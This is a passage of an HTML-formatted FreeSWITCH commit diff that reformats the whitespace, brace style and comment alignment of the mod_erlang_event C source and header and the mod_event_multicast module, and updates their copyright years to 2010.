</del><ins>+session_elem_t *attach_call_to_registered_process(listener_t *listener, char *reg_name, switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         /* create a session list element */
</span><del>-        session_elem_t* session_element = session_elem_create(listener, session);
</del><ins>+        session_elem_t *session_element = session_elem_create(listener, session);
</ins><span class="cx">
</span><del>- session_element->process.type = ERLANG_REG_PROCESS;
- session_element->process.reg_name = switch_core_session_strdup(session, reg_name);
- switch_set_flag(session_element, LFLAG_SESSION_ALIVE);
- /* attach the session to the listener */
- add_session_elem_to_listener(listener,session_element);
</del><ins>+        session_element->process.type = ERLANG_REG_PROCESS;
+        session_element->process.reg_name = switch_core_session_strdup(session, reg_name);
+        switch_set_flag(session_element, LFLAG_SESSION_ALIVE);
+        /* attach the session to the listener */
+        add_session_elem_to_listener(listener, session_element);
</ins><span class="cx">
</span><span class="cx">         return session_element;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-session_elem_t* attach_call_to_pid(listener_t* listener, erlang_pid* pid, switch_core_session_t *session)
</del><ins>+session_elem_t *attach_call_to_pid(listener_t *listener, erlang_pid * pid, switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         /* create a session list element */
</span><del>-        session_elem_t* session_element = session_elem_create(listener, session);
</del><ins>+        session_elem_t *session_element = session_elem_create(listener, session);
</ins><span class="cx">
</span><span class="cx">         session_element->process.type = ERLANG_PID;
</span><span class="cx">         memcpy(&session_element->process.pid, pid, sizeof(erlang_pid));
</span><span class="cx">         switch_set_flag(session_element, LFLAG_SESSION_ALIVE);
</span><span class="cx">         /* attach the session to the listener */
</span><del>-        add_session_elem_to_listener(listener,session_element);
</del><ins>+        add_session_elem_to_listener(listener, session_element);
</ins><span class="cx">         ei_link(listener, ei_self(listener->ec), pid);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return session_element;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-session_elem_t* attach_call_to_spawned_process(listener_t* listener, char *module, char *function, switch_core_session_t *session)
</del><ins>+session_elem_t *attach_call_to_spawned_process(listener_t *listener, char *module, char *function, switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         /* create a session list element */
</span><del>-        session_elem_t* session_element = session_elem_create(listener, session);
</del><ins>+        session_elem_t *session_element = session_elem_create(listener, session);
</ins><span class="cx">         char hash[100];
</span><span class="cx">         int i = 0;
</span><span class="cx">         void *p = NULL;
</span><span class="lines">@@ -1209,9 +1218,9 @@
</span><span class="cx">         erlang_ref ref;
</span><span class="cx">
</span><span class="cx">         switch_set_flag(session_element, LFLAG_WAITING_FOR_PID);
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* attach the session to the listener */
</span><del>-        add_session_elem_to_listener(listener,session_element);
</del><ins>+        add_session_elem_to_listener(listener, session_element);
</ins><span class="cx">
</span><span class="cx">         ei_init_ref(listener->ec, &ref);
</span><span class="cx">         ei_hash_ref(&ref, hash);
</span><span class="lines">@@ -1254,20 +1263,20 @@
</span><span class="cx">                 /*
</span><span class="cx">                  char *argv[1];
</span><span class="cx">                  ei_spawn(listener->ec, listener->sockfd, &ref, module, function, 0, argv);
</span><del>-                 */
</del><ins>+                 */
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* loop until either we timeout or we get a value that's not the waiting marker */
</span><span class="cx">         while (!(p = switch_core_hash_find(listener->spawn_pid_hash, hash)) || p == &globals.WAITING) {
</span><del>-                if (i > 50) { /* half a second timeout */
</del><ins>+                if (i > 50) {                        /* half a second timeout */
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Timed out when waiting for outbound pid\n");
</span><del>-                        remove_session_elem_from_listener_locked(listener,session_element);
-                        switch_core_hash_insert(listener->spawn_pid_hash, hash, &globals.TIMEOUT); /* TODO lock this? */
</del><ins>+                        remove_session_elem_from_listener_locked(listener, session_element);
+                        switch_core_hash_insert(listener->spawn_pid_hash, hash, &globals.TIMEOUT);        /* TODO lock this? */
</ins><span class="cx">                         destroy_session_elem(session_element);
</span><span class="cx">                         return NULL;
</span><span class="cx">                 }
</span><span class="cx">                 i++;
</span><del>-                switch_yield(10000); /* 10ms */
</del><ins>+                switch_yield(10000);        /* 10ms */
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_core_hash_delete(listener->spawn_pid_hash, hash);
</span><span class="lines">@@ -1277,26 +1286,27 @@
</span><span class="cx">
</span><span class="cx">         session_element->process.type = ERLANG_PID;
</span><span class="cx">         memcpy(&session_element->process.pid, pid, sizeof(erlang_pid));
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_set_flag(session_element, LFLAG_SESSION_ALIVE);
</span><span class="cx">         switch_clear_flag(session_element, LFLAG_OUTBOUND_INIT);
</span><span class="cx">         switch_clear_flag(session_element, LFLAG_WAITING_FOR_PID);
</span><span class="cx">
</span><span class="cx">         ei_link(listener, ei_self(listener->ec), pid);
</span><del>-        switch_safe_free(pid); /* malloced in handle_ref_tuple */
</del><ins>+        switch_safe_free(pid);                /* malloced in handle_ref_tuple */
</ins><span class="cx">
</span><span class="cx">         return session_element;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-int count_listener_sessions(listener_t *listener) {
-        session_elem_t *last,*sp;
</del><ins>+int count_listener_sessions(listener_t *listener)
+{
+        session_elem_t *last, *sp;
</ins><span class="cx">         int count = 0;
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(listener->session_mutex);
</span><span class="cx">         sp = listener->session_list;
</span><span class="cx">         last = NULL;
</span><del>-        while(sp) {
</del><ins>+        while (sp) {
</ins><span class="cx">                 count++;
</span><span class="cx">                 last = sp;
</span><span class="cx">                 sp = sp->next;
</span><span class="lines">@@ -1315,18 +1325,19 @@
</span><span class="cx"> {
</span><span class="cx">         char *reg_name = NULL, *node, *module = NULL, *function = NULL;
</span><span class="cx">         listener_t *listener;
</span><del>-        int argc = 0, argc2=0;
-        char *argv[80] = { 0 }, *argv2[80] = { 0 };
</del><ins>+        int argc = 0, argc2 = 0;
+        char *argv[80] = { 0 }, *argv2[80] = {
+        0};
</ins><span class="cx">         char *mydata, *myarg;
</span><del>-        char uuid[SWITCH_UUID_FORMATTED_LENGTH+1];
</del><ins>+        char uuid[SWITCH_UUID_FORMATTED_LENGTH + 1];
</ins><span class="cx">         switch_bool_t new_session = SWITCH_FALSE;
</span><del>-        session_elem_t* session_element=NULL;
</del><ins>+        session_elem_t *session_element = NULL;
</ins><span class="cx">
</span><span class="cx">         /* process app arguments */
</span><span class="cx">         if (data && (mydata = switch_core_session_strdup(session, data))) {
</span><span class="cx">                 argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><del>-        } /* XXX else? */
-
</del><ins>+        }
+        /* XXX else? */
</ins><span class="cx">         memcpy(uuid, switch_core_session_get_uuid(session), SWITCH_UUID_FORMATTED_LENGTH);
</span><span class="cx">
</span><span class="cx">         if (argc < 2) {
</span><span class="lines">@@ -1358,7 +1369,7 @@
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "enter erlang_outbound_function %s %s\n",argv[0], node);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "enter erlang_outbound_function %s %s\n", argv[0], node);
</ins><span class="cx">
</span><span class="cx">         /* first work out if there is a listener already talking to the node we want to talk to */
</span><span class="cx">         listener = find_listener(node);
</span><span class="lines">@@ -1367,8 +1378,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Creating new listener for session\n");
</span><span class="cx">                 new_session = SWITCH_TRUE;
</span><span class="cx">                 listener = new_outbound_listener(node);
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Using existing listener for session\n");
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -1381,10 +1391,10 @@
</span><span class="cx">                 if (module && function) {
</span><span class="cx">                         switch_core_hash_init(&listener->spawn_pid_hash, listener->pool);
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Creating new spawned session for listener\n");
</span><del>-                        session_element=attach_call_to_spawned_process(listener, module, function, session);
</del><ins>+                        session_element = attach_call_to_spawned_process(listener, module, function, session);
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Creating new registered session for listener\n");
</span><del>-                        session_element=attach_call_to_registered_process(listener, reg_name, session);
</del><ins>+                        session_element = attach_call_to_registered_process(listener, reg_name, session);
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (session_element) {
</span><span class="lines">@@ -1421,8 +1431,8 @@
</span><span class="cx">         /* process app arguments */
</span><span class="cx">         if (data && (mydata = switch_core_session_strdup(session, data))) {
</span><span class="cx">                 argc = switch_separate_string(mydata, ' ', argv, 3);
</span><del>-        } /* XXX else? */
-
</del><ins>+        }
+        /* XXX else? */
</ins><span class="cx">         if (argc < 3) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Parse Error - need node, registered name and message!\n");
</span><span class="cx">                 return;
</span><span class="lines">@@ -1431,7 +1441,7 @@
</span><span class="cx">         reg_name = argv[0];
</span><span class="cx">         node = argv[1];
</span><span class="cx">
</span><del>-        /*switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "sendmsg: {%s, %s} ! %s\n", reg_name, node, argv[2]);*/
</del><ins>+        /*switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "sendmsg: {%s, %s} ! %s\n", reg_name, node, argv[2]); */
</ins><span class="cx">
</span><span class="cx">         ei_x_encode_tuple_header(&buf, 2);
</span><span class="cx">         ei_x_encode_atom(&buf, "freeswitch_sendmsg");
</span><span class="lines">@@ -1461,9 +1471,7 @@
</span><span class="cx">
</span><span class="cx">         const char *usage_string = "USAGE:\n"
</span><span class="cx">                 "--------------------------------------------------------------------------------\n"
</span><del>-                "erlang listeners\n"
-                "erlang sessions <node_name>\n"
-                "--------------------------------------------------------------------------------\n";
</del><ins>+                "erlang listeners\n" "erlang sessions <node_name>\n" "--------------------------------------------------------------------------------\n";
</ins><span class="cx">
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 stream->write_function(stream, "%s", usage_string);
</span><span class="lines">@@ -1507,8 +1515,9 @@
</span><span class="cx">                                 found = 1;
</span><span class="cx">                                 switch_mutex_lock(l->session_mutex);
</span><span class="cx">                                 if ((sp = l->session_list)) {
</span><del>-                                        while(sp) {
-                                                stream->write_function(stream, "Outbound session for %s in state %s\n", sp->uuid_str, switch_channel_state_name(sp->channel_state));
</del><ins>+                                        while (sp) {
+                                                stream->write_function(stream, "Outbound session for %s in state %s\n", sp->uuid_str,
+                                                                                         switch_channel_state_name(sp->channel_state));
</ins><span class="cx">                                                 sp = sp->next;
</span><span class="cx">                                         }
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -1528,7 +1537,7 @@
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-done:
</del><ins>+ done:
</ins><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -1538,11 +1547,11 @@
</span><span class="cx"> {
</span><span class="cx">         switch_application_interface_t *app_interface;
</span><span class="cx">         switch_api_interface_t *api_interface;
</span><del>-        
</del><ins>+
</ins><span class="cx">         memset(&prefs, 0, sizeof(prefs));
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_init(&globals.listener_mutex, SWITCH_MUTEX_NESTED, pool);
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* intialize the unique reference stuff */
</span><span class="cx">         switch_mutex_init(&globals.ref_mutex, SWITCH_MUTEX_NESTED, pool);
</span><span class="cx">         globals.reference0 = 0;
</span><span class="lines">@@ -1570,8 +1579,10 @@
</span><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">
</span><del>-        SWITCH_ADD_APP(app_interface, "erlang", "Yield call control to an erlang process", "Connect to erlang", erlang_outbound_function, "<registered name> <node@host>", SAF_SUPPORT_NOMEDIA);
-        SWITCH_ADD_APP(app_interface, "erlang_sendmsg", "Send a message to an erlang process", "Connect to erlang", erlang_sendmsg_function, "<registered name> <node@host> <message>", SAF_SUPPORT_NOMEDIA);
</del><ins>+        SWITCH_ADD_APP(app_interface, "erlang", "Yield call control to an erlang process", "Connect to erlang", erlang_outbound_function,
+                                 "<registered name> <node@host>", SAF_SUPPORT_NOMEDIA);
+        SWITCH_ADD_APP(app_interface, "erlang_sendmsg", "Send a message to an erlang process", "Connect to erlang", erlang_sendmsg_function,
+                                 "<registered name> <node@host> <message>", SAF_SUPPORT_NOMEDIA);
</ins><span class="cx">         SWITCH_ADD_API(api_interface, "erlang", "erlang information", erlang_cmd, "<command> [<args>]");
</span><span class="cx">         switch_console_set_complete("add erlang listeners");
</span><span class="cx">
</span><span class="lines">@@ -1598,7 +1609,7 @@
</span><span class="cx">         WSADATA wsaData;
</span><span class="cx">
</span><span class="cx">         wVersionRequested = MAKEWORD(2, 2);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (WSAStartup(wVersionRequested, &wsaData) != 0) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Winsock initialization failed, oh well\n");
</span><span class="cx">                 return SWITCH_STATUS_TERM;
</span><span class="lines">@@ -1644,21 +1655,21 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to allocate socket on %s:%u\n", prefs.ip, prefs.port);
</span><span class="cx">                         goto sock_fail;
</span><span class="cx">                 }
</span><del>-
</del><span class="cx"> #ifdef WIN32
</span><del>-                if (setsockopt(listen_list.sockfd, SOL_SOCKET, SO_REUSEADDR, (const char *)&on, sizeof(on))) {
</del><ins>+                if (setsockopt(listen_list.sockfd, SOL_SOCKET, SO_REUSEADDR, (const char *) &on, sizeof(on))) {
</ins><span class="cx"> #else
</span><span class="cx">                 if (setsockopt(listen_list.sockfd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on))) {
</span><span class="cx"> #endif
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to enable SO_REUSEADDR for socket on %s:%u : %s\n", prefs.ip, prefs.port, strerror(errno));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to enable SO_REUSEADDR for socket on %s:%u : %s\n", prefs.ip, prefs.port,
+                                                         strerror(errno));
</ins><span class="cx">                         goto sock_fail;
</span><span class="cx">                 }
</span><del>-                
-                if (bind(listen_list.sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
</del><ins>+
+                if (bind(listen_list.sockfd, (struct sockaddr *) &server_addr, sizeof(server_addr)) < 0) {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to bind to %s:%u\n", prefs.ip, prefs.port);
</span><span class="cx">                         goto sock_fail;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (listen(listen_list.sockfd, 5) < 0) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to listen on %s:%u\n", prefs.ip, prefs.port);
</span><span class="cx">                         goto sock_fail;
</span><span class="lines">@@ -1675,7 +1686,7 @@
</span><span class="cx">                 ei_set_compat_rel(prefs.compat_rel);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (SWITCH_STATUS_SUCCESS!=initialise_ei(&ec)) {
</del><ins>+        if (SWITCH_STATUS_SUCCESS != initialise_ei(&ec)) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to init ei connection\n");
</span><span class="cx">                 goto init_failed;
</span><span class="cx">         }
</span><span class="lines">@@ -1684,7 +1695,8 @@
</span><span class="cx">         if ((epmdfd = ei_publish(&ec, prefs.port)) == -1) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Failed to publish port to empd, trying to start empd via system()\n");
</span><span class="cx">                 if (system("epmd -daemon")) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to start empd manually! Is epmd in $PATH? If not, start it yourself or run an erl shell with -sname or -name\n");
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+                                                         "Failed to start empd manually! Is epmd in $PATH? If not, start it yourself or run an erl shell with -sname or -name\n");
</ins><span class="cx">                         goto init_failed;
</span><span class="cx">                 }
</span><span class="cx">                 switch_yield(100000);
</span><span class="lines">@@ -1707,7 +1719,7 @@
</span><span class="cx"> #else
</span><span class="cx">                 errno = 0;
</span><span class="cx"> #endif
</span><del>-                if ((clientfd = ei_accept_tmo(&ec, (int)listen_list.sockfd, &conn, 100)) == ERL_ERROR) {
</del><ins>+                if ((clientfd = ei_accept_tmo(&ec, (int) listen_list.sockfd, &conn, 100)) == ERL_ERROR) {
</ins><span class="cx">                         if (prefs.done) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Shutting Down\n");
</span><span class="cx">                         } else if (erl_errno == ETIMEDOUT) {
</span><span class="lines">@@ -1722,22 +1734,22 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 /* if errno didn't get set, assume nothing *too* horrible occured */
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
</span><del>-                                                "Ignorable error in ei_accept - probable bad client version, bad cookie or bad nodename\n");
</del><ins>+                                                                 "Ignorable error in ei_accept - probable bad client version, bad cookie or bad nodename\n");
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                listener = new_listener(&ec,clientfd);
</del><ins>+                listener = new_listener(&ec, clientfd);
</ins><span class="cx">                 if (listener) {
</span><span class="cx">                         /* store the IP and node name we are talking with */
</span><span class="cx">                         switch_inet_ntop(AF_INET, conn.ipadr, listener->remote_ip, sizeof(listener->remote_ip));
</span><del>-                        listener->peer_nodename = switch_core_strdup(listener->pool,conn.nodename);
</del><ins>+                        listener->peer_nodename = switch_core_strdup(listener->pool, conn.nodename);
</ins><span class="cx">
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Launching listener, connection from node %s, ip %s\n", conn.nodename, listener->remote_ip);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Launching listener, connection from node %s, ip %s\n", conn.nodename,
+                                                         listener->remote_ip);
</ins><span class="cx">                         launch_listener_thread(listener);
</span><del>-                }
-                else
</del><ins>+                } else
</ins><span class="cx">                         /* if we fail to create a listener (memory error), then the module will exit */
</span><span class="cx">                         break;
</span><span class="cx">         }
</span><span class="lines">@@ -1748,7 +1760,7 @@
</span><span class="cx">         ei_unpublish(&ec);
</span><span class="cx">         close_socket(&epmdfd);
</span><span class="cx">
</span><del>-init_failed:
</del><ins>+ init_failed:
</ins><span class="cx">         close_socket(&listen_list.sockfd);
</span><span class="cx">         if (pool) {
</span><span class="cx">                 switch_core_destroy_memory_pool(&pool);
</span><span class="lines">@@ -1770,13 +1782,13 @@
</span><span class="cx">         listener_t *l;
</span><span class="cx">         int sanity = 0;
</span><span class="cx">
</span><del>-        if (prefs.done == 0) /* main thread might already have exited */
</del><ins>+        if (prefs.done == 0)                /* main thread might already have exited */
</ins><span class="cx">                 prefs.done = 1;
</span><span class="cx">
</span><span class="cx">         switch_log_unbind_logger(socket_logger);
</span><span class="cx">
</span><del>-        /*close_socket(&listen_list.sockfd);*/
-        
</del><ins>+        /*close_socket(&listen_list.sockfd); */
+
</ins><span class="cx">         while (prefs.threads || prefs.done == 1) {
</span><span class="cx">                 switch_yield(10000);
</span><span class="cx">                 if (++sanity == 1000) {
</span><span class="lines">@@ -1799,7 +1811,7 @@
</span><span class="cx">
</span><span class="cx">         switch_mutex_unlock(globals.listener_mutex);
</span><span class="cx">
</span><del>-        switch_sleep(1500000); /* sleep for 1.5 seconds */
</del><ins>+        switch_sleep(1500000);                /* sleep for 1.5 seconds */
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(prefs.ip);
</span><span class="cx">         switch_safe_free(prefs.cookie);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_erlang_eventmod_erlang_eventh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -33,8 +33,8 @@
</span><span class="cx"> */
</span><span class="cx">
</span><span class="cx"> typedef enum {
</span><del>-        LFLAG_WAITING_FOR_PID = (1 << 0), /* waiting for a node to return a pid */
-        LFLAG_OUTBOUND_INIT = (1 << 1), /* Erlang peer has been notified of this session */
</del><ins>+        LFLAG_WAITING_FOR_PID = (1 << 0),        /* waiting for a node to return a pid */
+        LFLAG_OUTBOUND_INIT = (1 << 1),        /* Erlang peer has been notified of this session */
</ins><span class="cx">         LFLAG_SESSION_ALIVE = (1 << 2),
</span><span class="cx">         LFLAG_SESSION_COMPLETE = (1 << 3),
</span><span class="cx"> } session_flag_t;
</span><span class="lines">@@ -114,7 +114,7 @@
</span><span class="cx">         uint32_t timeout;
</span><span class="cx">         uint32_t id;
</span><span class="cx">         char remote_ip[50];
</span><del>-        /*switch_port_t remote_port;*/
</del><ins>+        /*switch_port_t remote_port; */
</ins><span class="cx">         struct listener *next;
</span><span class="cx"> };
</span><span class="cx">
</span><span class="lines">@@ -143,8 +143,8 @@
</span><span class="cx">         unsigned int reference0;
</span><span class="cx">         unsigned int reference1;
</span><span class="cx">         unsigned int reference2;
</span><del>-        char TIMEOUT; /* marker for a timed out request */
-        char WAITING; /* marker for a request waiting for a response */
</del><ins>+        char TIMEOUT;                                /* marker for a timed out request */
+        char WAITING;                                /* marker for a request waiting for a response */
</ins><span class="cx">         switch_mutex_t *ref_mutex;
</span><span class="cx"> };
</span><span class="cx"> typedef struct globals_struct globals_t;
</span><span class="lines">@@ -200,20 +200,20 @@
</span><span class="cx">
</span><span class="cx"> /* function prototypes */
</span><span class="cx"> /* handle_msg.c */
</span><del>-int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf);
</del><ins>+int handle_msg(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf);
</ins><span class="cx">
</span><span class="cx"> /* ei_helpers.c */
</span><del>-void ei_link(listener_t *listener, erlang_pid *from, erlang_pid *to);
-void ei_encode_switch_event_headers(ei_x_buff *ebuf, switch_event_t *event);
-void ei_encode_switch_event_tag(ei_x_buff *ebuf, switch_event_t *event, char *tag);
-int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function);
-int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function, int argc, char **argv);
-void ei_init_ref(struct ei_cnode_s *ec, erlang_ref *ref);
-void ei_x_print_reg_msg(ei_x_buff *buf, char *dest, int send);
-void ei_x_print_msg(ei_x_buff *buf, erlang_pid *pid, int send);
-int ei_sendto(ei_cnode *ec, int fd, struct erlang_process *process, ei_x_buff *buf);
-void ei_hash_ref(erlang_ref *ref, char *output);
-int ei_compare_pids(erlang_pid *pid1, erlang_pid *pid2);
</del><ins>+void ei_link(listener_t *listener, erlang_pid * from, erlang_pid * to);
+void ei_encode_switch_event_headers(ei_x_buff * ebuf, switch_event_t *event);
+void ei_encode_switch_event_tag(ei_x_buff * ebuf, switch_event_t *event, char *tag);
+int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function);
+int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function, int argc, char **argv);
+void ei_init_ref(struct ei_cnode_s *ec, erlang_ref * ref);
+void ei_x_print_reg_msg(ei_x_buff * buf, char *dest, int send);
+void ei_x_print_msg(ei_x_buff * buf, erlang_pid * pid, int send);
+int ei_sendto(ei_cnode * ec, int fd, struct erlang_process *process, ei_x_buff * buf);
+void ei_hash_ref(erlang_ref * ref, char *output);
+int ei_compare_pids(erlang_pid * pid1, erlang_pid * pid2);
</ins><span class="cx"> int ei_decode_string_or_binary(char *buf, int *index, int maxlen, char *dst);
</span><span class="cx"> switch_status_t initialise_ei(struct ei_cnode_s *ec);
</span><span class="cx"> #define ei_encode_switch_event(_b, _e) ei_encode_switch_event_tag(_b, _e, "event")
</span><span class="lines">@@ -228,14 +228,14 @@
</span><span class="cx">                 break; \
</span><span class="cx"> }
</span><span class="cx">
</span><del>-#ifdef WIN32 /* MSDN suggested hack to fake errno for network operations */
</del><ins>+#ifdef WIN32                                        /* MSDN suggested hack to fake errno for network operations */
</ins><span class="cx"> /*#define errno WSAGetLastError()*/
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx"> /* mod_erlang_event.c */
</span><del>-session_elem_t* attach_call_to_registered_process(listener_t* listener, char* reg_name, switch_core_session_t *session);
-session_elem_t* attach_call_to_pid(listener_t* listener, erlang_pid* pid, switch_core_session_t *session);
-session_elem_t* attach_call_to_spawned_process(listener_t* listener, char *module, char *function, switch_core_session_t *session);
</del><ins>+session_elem_t *attach_call_to_registered_process(listener_t *listener, char *reg_name, switch_core_session_t *session);
+session_elem_t *attach_call_to_pid(listener_t *listener, erlang_pid * pid, switch_core_session_t *session);
+session_elem_t *attach_call_to_spawned_process(listener_t *listener, char *module, char *function, switch_core_session_t *session);
</ins><span class="cx">
</span><span class="cx"> /* For Emacs:
</span><span class="cx"> * Local Variables:
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_event_multicastmod_event_multicastc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_event_multicast/mod_event_multicast.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_event_multicast/mod_event_multicast.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_event_multicast/mod_event_multicast.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -37,7 +37,7 @@
</span><span class="cx"> #define MULTICAST_BUFFSIZE 65536
</span><span class="cx">
</span><span class="cx"> /* magic byte sequence */
</span><del>-static unsigned char MAGIC[] = {226, 132, 177, 197, 152, 198, 142, 211, 172, 197, 158, 208, 169, 208, 135, 197, 166, 207, 154, 196, 166};
</del><ins>+static unsigned char MAGIC[] = { 226, 132, 177, 197, 152, 198, 142, 211, 172, 197, 158, 208, 169, 208, 135, 197, 166, 207, 154, 196, 166 };
</ins><span class="cx"> static char *MARKER = "1";
</span><span class="cx">
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_event_multicast_load);
</span><span class="lines">@@ -87,7 +87,7 @@
</span><span class="cx">         uint32_t count = 0;
</span><span class="cx">         uint8_t custom = 0;
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         globals.ttl = 1;
</span><span class="cx">         globals.key_count = 0;
</span><span class="cx">
</span><span class="lines">@@ -116,7 +116,7 @@
</span><span class="cx"> #endif
</span><span class="cx">                         } else if (!strcasecmp(var, "ttl")) {
</span><span class="cx">                                 int ttl = atoi(val);
</span><del>-                                if ((ttl && ttl <= 255) || !strcmp(val, "0")) {
</del><ins>+                                if ((ttl && ttl <= 255) || !strcmp(val, "0")) {
</ins><span class="cx">                                         globals.ttl = (uint8_t) ttl;
</span><span class="cx">                                 } else {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid ttl '%s' specified, using default of 1\n", val);
